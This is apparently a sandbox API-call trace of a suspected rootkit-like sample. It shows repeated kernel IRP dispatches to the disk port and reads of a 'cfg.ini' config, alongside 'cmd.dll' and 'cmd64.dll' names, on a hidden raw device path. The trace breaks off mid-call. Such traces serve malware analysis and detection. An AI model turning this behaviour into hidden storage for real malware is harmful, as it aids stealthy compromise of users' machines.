[0118.606] KeWaitForMutexObject () returned 0x0 [0118.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.606] KeLeaveCriticalRegion () [0118.606] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.606] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.606] KeEnterCriticalRegion () [0118.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.606] KeLeaveCriticalRegion () [0118.606] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.606] KeEnterCriticalRegion () [0118.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.607] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.607] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.607] KeLeaveCriticalRegion () [0118.607] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.607] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.607] KeEnterCriticalRegion () [0118.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.607] ExFreePoolWithTag (P=0xfffffa8003bac910, Tag=0x0) [0118.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.607] KeLeaveCriticalRegion () [0118.607] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.607] ReleaseMutex (hMutex=0xf0) returned 1 [0118.607] Sleep (dwMilliseconds=0x124f80) [0118.621] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.621] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.621] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.621] KeEnterCriticalRegion () [0118.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.621] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.621] IdePortDispatch () returned 0x103 [0118.621] KeWaitForMutexObject () returned 0x0 [0118.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.621] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.622] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.622] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.622] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.622] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bac910 [0118.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.622] KeLeaveCriticalRegion () [0118.622] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.622] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.622] KeEnterCriticalRegion () [0118.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.622] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.622] KeLeaveCriticalRegion () [0118.622] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.622] KeEnterCriticalRegion () [0118.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.622] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.622] IdePortDispatch () returned 0x103 [0118.622] KeWaitForMutexObject () returned 0x0 [0118.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.622] KeLeaveCriticalRegion () [0118.622] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.623] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.623] KeEnterCriticalRegion () [0118.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003521000 [0118.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.623] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.623] IdePortDispatch () returned 0x103 [0118.623] KeWaitForMutexObject () returned 0x0 [0118.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.623] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.623] IdePortDispatch () returned 0x103 [0118.623] KeWaitForMutexObject () returned 0x0 [0118.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.623] KeLeaveCriticalRegion () [0118.623] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.624] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.624] KeEnterCriticalRegion () [0118.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.624] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.624] KeLeaveCriticalRegion () [0118.624] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.624] KeEnterCriticalRegion () [0118.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.624] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.624] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ba0070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.624] KeLeaveCriticalRegion () [0118.624] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.624] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.624] KeEnterCriticalRegion () [0118.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.624] ExFreePoolWithTag (P=0xfffffa8003bac910, Tag=0x0) [0118.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.624] KeLeaveCriticalRegion () [0118.624] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.624] ReleaseMutex (hMutex=0xf0) returned 1 [0118.624] Sleep (dwMilliseconds=0x124f80) [0118.640] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.640] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.640] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.640] KeEnterCriticalRegion () [0118.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.640] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.640] IdePortDispatch () returned 0x103 [0118.641] KeWaitForMutexObject () returned 0x0 [0118.641] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.641] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.641] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.641] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.641] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.641] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c5fe830 [0118.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.641] KeLeaveCriticalRegion () [0118.641] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.641] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.641] KeEnterCriticalRegion () [0118.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.641] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.641] KeLeaveCriticalRegion () [0118.641] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.641] KeEnterCriticalRegion () [0118.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.641] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.641] IdePortDispatch () returned 0x103 [0118.641] KeWaitForMutexObject () returned 0x0 [0118.641] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.641] KeLeaveCriticalRegion () [0118.641] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.641] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.642] KeEnterCriticalRegion () [0118.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.642] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003526000 [0118.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.642] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.642] IdePortDispatch () returned 0x103 [0118.642] KeWaitForMutexObject () returned 0x0 [0118.642] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.642] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.642] IdePortDispatch () returned 0x103 [0118.642] KeWaitForMutexObject () returned 0x0 [0118.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.642] KeLeaveCriticalRegion () [0118.642] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.643] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.643] KeEnterCriticalRegion () [0118.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.643] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.643] KeLeaveCriticalRegion () [0118.643] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.643] KeEnterCriticalRegion () [0118.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.643] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.643] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ba0070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.643] KeLeaveCriticalRegion () [0118.643] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.643] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.643] KeEnterCriticalRegion () [0118.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.643] ExFreePoolWithTag (P=0xfffffa800c5fe830, Tag=0x0) [0118.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.643] KeLeaveCriticalRegion () [0118.643] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.643] ReleaseMutex (hMutex=0xf0) returned 1 [0118.643] Sleep (dwMilliseconds=0x124f80) [0118.660] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.660] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.661] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.661] KeEnterCriticalRegion () [0118.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.661] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.661] IdePortDispatch () returned 0x103 [0118.661] KeWaitForMutexObject () returned 0x0 [0118.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.661] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.661] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.661] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.661] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.661] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7a00 [0118.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.661] KeLeaveCriticalRegion () [0118.661] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.662] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.662] KeEnterCriticalRegion () [0118.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.662] KeLeaveCriticalRegion () [0118.662] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.662] KeEnterCriticalRegion () [0118.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.662] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.662] IdePortDispatch () returned 0x103 [0118.662] KeWaitForMutexObject () returned 0x0 [0118.662] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.662] KeLeaveCriticalRegion () [0118.662] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.662] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.662] KeEnterCriticalRegion () [0118.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.662] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352b000 [0118.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.663] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.663] IdePortDispatch () returned 0x103 [0118.663] KeWaitForMutexObject () returned 0x0 [0118.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.663] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.663] IdePortDispatch () returned 0x103 [0118.663] KeWaitForMutexObject () returned 0x0 [0118.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.663] KeLeaveCriticalRegion () [0118.663] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.664] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.664] KeEnterCriticalRegion () [0118.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.664] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.664] KeLeaveCriticalRegion () [0118.664] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.664] KeEnterCriticalRegion () [0118.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.664] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.664] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ba0070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.664] KeLeaveCriticalRegion () [0118.664] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.664] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.664] KeEnterCriticalRegion () [0118.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.665] ExFreePoolWithTag (P=0xfffffa80039d7a00, Tag=0x0) [0118.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.665] KeLeaveCriticalRegion () [0118.665] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.665] ReleaseMutex (hMutex=0xf0) returned 1 [0118.665] Sleep (dwMilliseconds=0x124f80) [0118.684] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.684] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.684] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.685] KeEnterCriticalRegion () [0118.685] ExAcquireFastMutexUnsafe (in: 